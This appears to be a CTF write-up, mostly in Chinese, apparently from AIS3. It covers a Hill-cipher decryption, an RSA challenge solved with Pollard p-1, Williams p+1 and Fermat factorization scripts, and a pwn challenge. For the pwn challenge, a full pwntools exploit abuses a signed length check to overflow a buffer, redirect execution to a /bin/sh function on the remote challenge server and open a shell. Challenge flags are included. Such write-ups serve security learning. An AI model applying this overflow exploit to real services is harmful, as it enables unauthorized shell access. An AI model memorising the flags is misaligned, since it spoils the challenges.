def inv_mod(M, p=P):
    M = M.copy() % p
    n = len(M)
    I = np.eye(n, dtype=int)
    for k in range(n):
        r = next(i for i in range(k, n) if M[i,k])
        if r != k:
            M[[k,r]], I[[k,r]] = M[[r,k]], I[[r,k]]
        inv = pow(int(M[k,k]), p-2, p)
        M[k] = (M[k]*inv) % p; I[k] = (I[k]*inv) % p
        for i in range(n):
            if i == k: continue
            f = M[i,k] % p
            M[i] = (M[i] - f*M[k]) % p
            I[i] = (I[i] - f*I[k]) % p
    return I % p

Ainv = inv_mod(A)

m = [ (Ainv @ flag_ct[0]) % P ]
for i in range(1, len(flag_ct)):
    m.append((Ainv @ (flag_ct[i] - B @ m[i-1])) % P)

flag = bytes(sum((row.tolist() for row in m), [])).rstrip(b'\x00')
print("Flag:", flag.decode())

AIS3{b451c_h1ll_c1ph3r_15_2_3z_f0r_u5}


Happy Happy Factoring

import random
from functools import reduce

from gmpy2 import is_prime


prime_list = [num for num in range(3, 5000) if is_prime(num)]


def get_william_prime():
    while True:
        li = [2] + random.choices(prime_list, k=85)
        n = reduce(lambda x, y: x * y, li)
        if is_prime(n - 1):
            return n - 1


def get_pollard_prime():
    while True:
        li = [2] + random.choices(prime_list, k=85)
        n = reduce(lambda x, y: x * y, li)
        if is_prime(n + 1):
            return n + 1


def get_fermat_prime():
    a = random.getrandbits(1024)
    if a % 2 != 0:
        a += 1
    check = 0
    for offset in range(random.getrandbits(512) | 1, 1 << 512 + 1, 2):
        if (not check & 1) and is_prime(a + offset):
            check |= 1
            p = a + offset
        if (not check & 2) and is_prime(a - offset):
            check |= 2
            q = a - offset
        if check == 3:
            return p, q


def main():
    wi = get_william_prime()
    po = get_pollard_prime()
    fp, fq = get_fermat_prime()

    n = wi * po * po * fp * fq
    e = 0x10001
    m = int.from_bytes(open('flag.txt').read().strip().encode())
    c = pow(m, e, n)

    print(f'n = {n}')
    print(f'e = {e}')
    print(f'c = {c}')

main()

這題是 RSA 加密,加密規則是這樣的

  1. wi 在 3~5000 之中選擇 85 個質數,再乘上2,全部相乘之後減1 wi = 2 * p1 x … x p85 - 1
  2. po 上面一樣,但是變成 + 1
  3. fp、fq :隨機選一個 1024 位的偶數 a ,再從一個 512 位奇數 offset 開始,往上遞增找 a + offset 和 a - offset,都 是質數時即採用

前面的 n 的算法是 wi * po * po * fp * fq e 是 65537 c 則是 flag

所以這題最大的難點就是如何分解 n (1424位的質數)

解題

一開始我就是去找密碼學的一些工具,factorydb、yafu 都解不開,之後我就決定用程式解 首先我先想辦法解出 po , 因為他是平方數

#!/usr/bin/python3
import gmpy2
from math import gcd
from gmpy2 import isqrt, is_prime
import random

def pollard_p_minus_1(n, B=10000):

    a = 2
    for i in range(2, B):
        a = pow(a, i, n)
        g = gcd(a - 1, n)
        if 1 < g < n:
            return g
    return None

def pollard_p_plus_1(n, B=10000):

    def lucas_sequence(P, Q, k, n):
        U, V = 1, P
        for bit in bin(k)[3:]:
            U, V = (U * V) % n, (V * V - 2 * pow(Q, bin(k)[:3].count('1'), n)) % n
            if bit == '1':
                U, V = (P * U + V) % n, (P * V + Q * U) % n
        return U, V
    
    for P in range(3, 100):
        Q = (P * P - 4) % n
        if gmpy2.jacobi(P * P - 4, n) == -1:
            continue
        
        for i in range(2, B):
            U, V = lucas_sequence(P, Q, i, n)
            g = gcd(U, n)
            if 1 < g < n:
                return g
    return None

def fermat_factorization(n):

    if n % 2 == 0:
        return 2, n // 2
    
    a = isqrt(n) + 1
    b_squared = a * a - n
    
    while not gmpy2.is_square(b_squared):
        a += 1
        b_squared = a * a - n
    
    b = isqrt(b_squared)
    return a + b, a - b

def factor_special_rsa(n):

    factors = []
    remaining = n
    
    print("\n Pollard p-1")
    for B in [1000, 5000, 10000, 50000]:
        factor = pollard_p_minus_1(remaining, B)
        if factor:
            print(f"找到因子 (p-1 smooth): {factor}")
            factors.append(factor)
            remaining //= factor
            break
    
    print("\nPollard p+1")
    for B in [1000, 5000, 10000]:
        factor = pollard_p_plus_1(remaining, B)
        if factor:
            print(f"找到因子 (p+1 smooth): {factor}")
            factors.append(factor)
            remaining //= factor
            break
    
    for known_factor in factors[:]:
        if remaining % known_factor == 0:
            print(f"找到重複因子: {known_factor}")
            factors.append(known_factor)
            remaining //= known_factor
    
    if remaining > 1:
        print(f"\n對剩餘數使用 Fermat 分解法: {len(str(remaining))} 位數")
        try:
            p, q = fermat_factorization(remaining)
            if p > 1 and q > 1:
                print(f"Fermat 分解成功:")
                print(f"  p = {p}")
                print(f"  q = {q}")
                factors.extend([p, q])
                remaining = 1
        except:
            print("Fermat 分解失敗")
    
    if remaining > 1:
        factors.append(remaining)
    
    return factors

def solve_rsa(n, e, c):

    factors = factor_special_rsa(n)
    
    if len(factors) < 2:
        print("分解失敗,無法找到足夠的因子")
        return None
    
    print(f"\n找到 {len(factors)} 個因子:")
    for i, factor in enumerate(factors):
        print(f"因子 {i+1}: {factor} ({len(str(factor))} 位數)")
    
    product = 1
    for factor in factors:
        product *= factor
    
    if product != n:
        print("錯誤:因子乘積不等於原數")
        return None
    
    phi_n = 1
    for factor in factors:
        phi_n *= (factor - 1)
    

if __name__ == "__main__":

    n = 60763718988363732014714378240503239363378716344786064427633103900163714795049031343530976333384849092574531088958278531796791269274033045247468279778697834271056697703384043345478274417830331218076647357163447985776813989427400170525437678547826499412542686651017218028970864190216904615610527825259880112714553787804820022215890969437398474372702507063412690704689550295715710210726663486141414839866746195390190050689478793788994971113120247044980308444816728343285377217719743417243597984030508281943509471779819738142587401185391525828957277332050173790712364630350364573645269670566599757124924556318618780988680189777327076706459707684684212592008631793816662912108065408593909988525347442925181041282276218509071711541277729368738735764243654195687411950100527148736266697290008653570361567103718692686950265823409008150425223699459852898223162147029064447737730602794595138107108115161225211304281588196101442541064849330085624077639919266218475926019026834286095322529307797803560019118617515335223076631003247439277523058831709125266949216817874124236017467949448675716346763692924023726148784017135614973119630683596746148387050812840110466838283975867125038922845823807931521243892970213719547931807222621641732942788807438874234021460457789662655868012096318135427733535828701239344723536380874649435986485519446498010249439129416294059581506089078379364874801633348823482500982032017362540718382857218498839339
    e = 65537
    c = 44207030878602255093439727713627529424714536888513933329918295258695649333115968449370359700222302579245312436480617326596647245058051575370999951904443151550015706074625370328401332779076604686192843031449186235749865643368166253840337277509707994397801878226500358006463024635087435969538998524734582405866525600851546459050191793239073846810455635211879914050737467404026533874103858418973673243458902849516794733035491504110489194944517745006206578407001620379259037944572489812890427482523341875844231406658507757087786915450447369790738422106207343811320979464959215733209780327553156828306906699830103249980426322575134388451893085145613033052707119244509600245343514769051601842478130345500737780120982516001378114355893400613318479527209307727381442878249151936468300312623822839419034585228514262658066842576813177085447513589259064467260172762603680019928473807935131716584215553191881403885379486263800885157417935351355285318307493812608156009093176418157547185476076384813081081655591478637089927732990897838102722736056096469961634469383933144558941569830176969764313728115821455037916103169727305546266609284138398242237907130652437778206322442252293263897704265426827967602427841795290642868172013365981708186335407114033847578653977681421086305327283866009608036787400010585809721949312065234506464271259806098824737010873785025492695022775753403396509548322949271103192949782516909378429902333959165240991
    
    solve_rsa(n, e, c)


這一串下來會分出三個因子,兩個是 po 平方,最後一個是 wi * fq * fp

po = 37021275572790082192379533288704688535293473545958385025549690675904471573219980209972828244025329762230759053863199755658020475141048058736510710680444844461116108035174159013570815934305537913272505253121747245324932852742564134158131504996633322520519431558100438167

image

而從題目可以知道 wi = Williams’s p + 1 algorithm fp fq 可以用費馬因式解 帶入 po 進去解

import gmpy2
from gmpy2 import mpz, gcd, invert, isqrt, is_square

def mlucas(v, a, n):
    v1, v2 = v, (v**2 - 2) % n
    for bit in bin(a)[3:]:
        if bit == '0':
            v1, v2 = (v1**2 - 2) % n, (v1*v2 - v) % n
        else:
            v1, v2 = (v1*v2 - v) % n, (v2**2 - 2) % n
    return v1

def williams_pp1(n, max_v=10, max_prime=10000):
    n = mpz(n)
    for v in range(1, max_v+1):
        current_v = mpz(v)
        primes = []
        p = 2
        while p < max_prime:
            primes.append(p)
            p = gmpy2.next_prime(p)
        for p in primes:
            e = int(gmpy2.log(gmpy2.isqrt(n)) / gmpy2.log(p))
            if e == 0:
                break
            for _ in range(e):
                current_v = mlucas(current_v, p, n)
        g = gcd(current_v - 2, n)
        if 1 < g < n:
            return g
    return None

def fermat_factor(n):
    a = isqrt(n) + 1
    while True:
        b2 = a*a - n
        if is_square(b2):
            b = isqrt(b2)
            return (a + b, a - b)
        a += 1

n = mpz(60763718988363732014714378240503239363378716344786064427633103900163714795049031343530976333384849092574531088958278531796791269274033045247468279778697834271056697703384043345478274417830331218076647357163447985776813989427400170525437678547826499412542686651017218028970864190216904615610527825259880112714553787804820022215890969437398474372702507063412690704689550295715710210726663486141414839866746195390190050689478793788994971113120247044980308444816728343285377217719743417243597984030508281943509471779819738142587401185391525828957277332050173790712364630350364573645269670566599757124924556318618780988680189777327076706459707684684212592008631793816662912108065408593909988525347442925181041282276218509071711541277729368738735764243654195687411950100527148736266697290008653570361567103718692686950265823409008150425223699459852898223162147029064447737730602794595138107108115161225211304281588196101442541064849330085624077639919266218475926019026834286095322529307797803560019118617515335223076631003247439277523058831709125266949216817874124236017467949448675716346763692924023726148784017135614973119630683596746148387050812840110466838283975867125038922845823807931521243892970213719547931807222621641732942788807438874234021460457789662655868012096318135427733535828701239344723536380874649435986485519446498010249439129416294059581506089078379364874801633348823482500982032017362540718382857218498839339)
e = 65537
c = mpz(44207030878602255093439727713627529424714536888513933329918295258695649333115968449370359700222302579245312436480617326596647245058051575370999951904443151550015706074625370328401332779076604686192843031449186235749865643368166253840337277509707994397801878226500358006463024635087435969538998524734582405866525600851546459050191793239073846810455635211879914050737467404026533874103858418973673243458902849516794733035491504110489194944517745006206578407001620379259037944572489812890427482523341875844231406658507757087786915450447369790738422106207343811320979464959215733209780327553156828306906699830103249980426322575134388451893085145613033052707119244509600245343514769051601842478130345500737780120982516001378114355893400613318479527209307727381442878249151936468300312623822839419034585228514262658066842576813177085447513589259064467260172762603680019928473807935131716584215553191881403885379486263800885157417935351355285318307493812608156009093176418157547185476076384813081081655591478637089927732990897838102722736056096469961634469383933144558941569830176969764313728115821455037916103169727305546266609284138398242237907130652437778206322442252293263897704265426827967602427841795290642868172013365981708186335407114033847578653977681421086305327283866009608036787400010585809721949312065234506464271259806098824737010873785025492695022775753403396509548322949271103192949782516909378429902333959165240991)
po = mpz(37021275572790082192379533288704688535293473545958385025549690675904471573219980209972828244025329762230759053863199755658020475141048058736510710680444844461116108035174159013570815934305537913272505253121747245324932852742564134158131504996633322520519431558100438167)

rest = n // (po**2)
wi = williams_pp1(rest)
rest_remaining = rest // wi
fp, fq = fermat_factor(rest_remaining)

print("wi=",wi)
print("fq=",fq)
print("fp=",fp)

算出所有元素之後就是普通的 RSA ,要記得轉換格式,不然 flag 出不來

from gmpy2 import is_prime, mpz
import sys

n = mpz(60763718988363732014714378240503239363378716344786064427633103900163714795049031343530976333384849092574531088958278531796791269274033045247468279778697834271056697703384043345478274417830331218076647357163447985776813989427400170525437678547826499412542686651017218028970864190216904615610527825259880112714553787804820022215890969437398474372702507063412690704689550295715710210726663486141414839866746195390190050689478793788994971113120247044980308444816728343285377217719743417243597984030508281943509471779819738142587401185391525828957277332050173790712364630350364573645269670566599757124924556318618780988680189777327076706459707684684212592008631793816662912108065408593909988525347442925181041282276218509071711541277729368738735764243654195687411950100527148736266697290008653570361567103718692686950265823409008150425223699459852898223162147029064447737730602794595138107108115161225211304281588196101442541064849330085624077639919266218475926019026834286095322529307797803560019118617515335223076631003247439277523058831709125266949216817874124236017467949448675716346763692924023726148784017135614973119630683596746148387050812840110466838283975867125038922845823807931521243892970213719547931807222621641732942788807438874234021460457789662655868012096318135427733535828701239344723536380874649435986485519446498010249439129416294059581506089078379364874801633348823482500982032017362540718382857218498839339)
e = 65537
c = mpz(44207030878602255093439727713627529424714536888513933329918295258695649333115968449370359700222302579245312436480617326596647245058051575370999951904443151550015706074625370328401332779076604686192843031449186235749865643368166253840337277509707994397801878226500358006463024635087435969538998524734582405866525600851546459050191793239073846810455635211879914050737467404026533874103858418973673243458902849516794733035491504110489194944517745006206578407001620379259037944572489812890427482523341875844231406658507757087786915450447369790738422106207343811320979464959215733209780327553156828306906699830103249980426322575134388451893085145613033052707119244509600245343514769051601842478130345500737780120982516001378114355893400613318479527209307727381442878249151936468300312623822839419034585228514262658066842576813177085447513589259064467260172762603680019928473807935131716584215553191881403885379486263800885157417935351355285318307493812608156009093176418157547185476076384813081081655591478637089927732990897838102722736056096469961634469383933144558941569830176969764313728115821455037916103169727305546266609284138398242237907130652437778206322442252293263897704265426827967602427841795290642868172013365981708186335407114033847578653977681421086305327283866009608036787400010585809721949312065234506464271259806098824737010873785025492695022775753403396509548322949271103192949782516909378429902333959165240991)

wi = mpz(13724774538447070327979693614547817168124884989451610940801578056279057833807379694848872164279961986596312325493146862956197489865548344532953497594522647140137603497421573845399796269120931218582151408919487607271970333135495886340580331325745398768576950542146604563970373)
po = mpz(37021275572790082192379533288704688535293473545958385025549690675904471573219980209972828244025329762230759053863199755658020475141048058736510710680444844461116108035174159013570815934305537913272505253121747245324932852742564134158131504996633322520519431558100438167)
fp = mpz(1797290114159693323989762096979140187698485236416597675521859185650014625929914125199112031072687163725036991060223004058282636353560186927474270239776076165008500410649005184281171706694080829043361520951700099156403590420648240134975686551614552593433626075522047925249225912399803655009044583112072831069)
fq = mpz(1797290114159693323989762096979140187698485236416597675521859185650014625929914125199112031072687163725036991060223004058282636353560186927474270239776076798589587543514454032951000956290817627291716666905485856531167667731334844508903552262166793410065299546829046316294630547983330097778364431516673829323)


phi_wi = wi - 1
phi_po_sq = po * (po - 1)
phi_fp = fp - 1
phi_fq = fq - 1
phi = phi_wi * phi_po_sq * phi_fp * phi_fq

d = pow(e, -1, phi)
m = pow(c, d, n)

flag_bytes = bytes.fromhex(hex(m)[2:])
print("Flag:", flag_bytes.decode())

AIS3{H@ppY_#ap9y_CRypT0_F4(7or1n&~~~}


pwn

Welcome to the World of Ave Mujica🌙

題目以及輸入 image

沒有防護措施 image

解題

160 bytes buffer image

saved rbp 8 bytes

輸入的時候會發現,長度到 159 也會說太長 去找會發現是 read int8 在控制這個

image

這裡有一個 atoi 會把 int 存入 char 返回的會是 bytes 他因為這個 read 只能讀 0x7f 也就是 127 長度 但又因為他回傳是 char ,如果輸入 -1 的話他就會變回 255

image

最後就是蓋過去之後要去哪,我就選了最顯眼的函數

image

果然發現 /bin/sh

image

#!/usr/bin/python2
# -*- coding: utf-8 -*-

from pwn import *

#p = process('./chal')

p = remote('chals1.ais3.org', 60983)

p.sendlineafter('你願意把剩餘的人生交給我嗎?', 'yes')
p.sendlineafter('告訴我你的名字的長度:', '-1')
payload = b'A'*168 + p64(0x401256)
p.send(payload)

p.interactive()

AIS3{Ave Mujica🎭將奇蹟帶入日常中🛐(Fortuna💵💵💵)…Ave Mujica🎭為你獻上慈悲憐憫✝️(Lacrima😭🥲💦)…_5db30d7af789dc871612b0cd183887a1}


排名

image